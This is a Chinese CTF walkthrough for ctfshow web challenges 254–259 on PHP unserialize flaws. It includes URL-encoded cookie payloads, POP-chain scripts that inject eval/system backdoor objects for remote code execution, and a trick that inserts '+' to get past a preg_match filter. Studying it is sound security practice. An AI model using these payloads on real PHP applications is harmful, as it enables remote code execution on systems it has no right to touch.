文章目录
- web 254——啥也没
- web 255——反序列化对变量进行赋值(1)
- web 256——反序列化对变量进行赋值(2)
- web 257——对象注入
- web 258——对象注入(绕过preg_match)
- web 259
web 254——啥也没
这里就是使用GET传输,username赋值为xxxxxx
,password也1赋值为xxxxxx
。
web 255——反序列化对变量进行赋值(1)
代码会对user
变量进行反序列化,因此只需要GET传输的变量username
和变量password
的值与user
变量反序列化得到的username
和password
相等,且反序列化后的isVip
等于True
就行。
首先对类ctfShowUser
进行序列化,PHP序列化和反序列化
user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D
,注意需要对user的值进行URL编码。
web 256——反序列化对变量进行赋值(2)
以上一题相比,其实就是反序列化的类中的变量username
和password
不要相等即可,注意GET传参时也要做修改。payload:
//url
?username=xxxxxx&password=123`
//POST cookie
user=O%3A11%3A%22ctfShowUser%22%3A3%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A3%3A%22123%22%3Bs%3A5%3A%22isVip%22%3Bb%3A1%3B%7D
web 257——对象注入
思路:主要还是利用backDoor类中的eval
函数。unserialize
反序列化后,会自动调用__construct()
魔术方法,让__construct()
魔术方法直接$this->class=new backdoor()
,然后销毁类ctfShowUser
时,就会自动调用 backdoor
中的getInfo
函数,同时我们可以在序列化的时候赋值code=$code='system("ls");'
,这样就能执行系统命令了。
得到序列化数据payLoad:
class ctfShowUser{
private $username='xxxxxx';
private $password='xxxxxx';
private $isVip=false;
private $class = 'info';
public function __construct(){
$this->class=new backDoor();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}
}
class info{
private $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}
class backDoor{
private $code='system("ls");'; //或者$code='eval($_GET[1]);',然后使用GET传参
public function getInfo(){
eval($this->code);
}
}
$ss=new ctfShowUser();
$content=serialize($ss);
echo (urlencode($content));
//payload
?username=x&password=y
user=O%3A11%3A%22ctfShowUser%22%3A4%3A%7Bs%3A21%3A%22%00ctfShowUser%00username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A21%3A%22%00ctfShowUser%00password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A18%3A%22%00ctfShowUser%00isVip%22%3Bb%3A0%3Bs%3A18%3A%22%00ctfShowUser%00class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A13%3A%22system%28%22ls%22%29%3B%22%3B%7D%7D //COOkIE
注意使用
urlencode
进行url编码。
这样构造POP链也可以:
class ctfShowUser{
public function __construct(){
$this->class=new backDoor();
}
}
class backDoor{
private $code='eval($_GET[1]);';
public function getInfo(){
eval($this->code);
}
}
$ss=new ctfShowUser();
$content=serialize($ss);
echo urlencode($content);
//payload
??username=x&password=y&1=phpinfo();
user=O%3A11%3A%22ctfShowUser%22%3A1%3A%7Bs%3A5%3A%22class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A15%3A%22eval%28%24_GET%5B1%5D%29%3B%22%3B%7D%7D //COOKIE
- 上述代码为何可以执行成功,目前不太清楚。
- 在执行
unserialize
之后,会自动执行魔术方法,只有执行完魔术方法,才会执行后续代码。
web 258——对象注入(绕过preg_match)
这一题主要就是对序列化内容进行过滤,主要过滤[oc]:数字:
,字母不区分大小写。绕过方法:在数字前面加一个+
。
class ctfShowUser{
public $username='xxxxxx';
public $password='xxxxxx';
public $isVip=false;
public $class = 'info';
public function __construct(){
$this->class=new backDoor();
}
public function login($u,$p){
return $this->username===$u&&$this->password===$p;
}
public function __destruct(){
$this->class->getInfo();
}
}
class info{
public $user='xxxxxx';
public function getInfo(){
return $this->user;
}
}
class backDoor{
public $code='eval($_GET[1]);';
public function getInfo(){
eval($this->code);
}
}
$content=serialize(new ctfShowUser());
$a=str_replace('O:', 'O:+',$content); //绕过preg_match
echo $a;
echo (urlencode($a));
//payload
?username=x&password=y&1=phpinfo();
user=O%3A%2B11%3A%22ctfShowUser%22%3A4%3A%7Bs%3A8%3A%22username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A8%3A%22password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A5%3A%22isVip%22%3Bb%3A0%3Bs%3A5%3A%22class%22%3BO%3A%2B8%3A%22backDoor%22%3A1%3A%7Bs%3A4%3A%22code%22%3Bs%3A15%3A%22eval%28%24_GET%5B1%5D%29%3B%22%3B%7D%7D //COOKIE
web 259
生成序列化时记得开启SoapClient拓展:php.ini
中启用php_soap.dll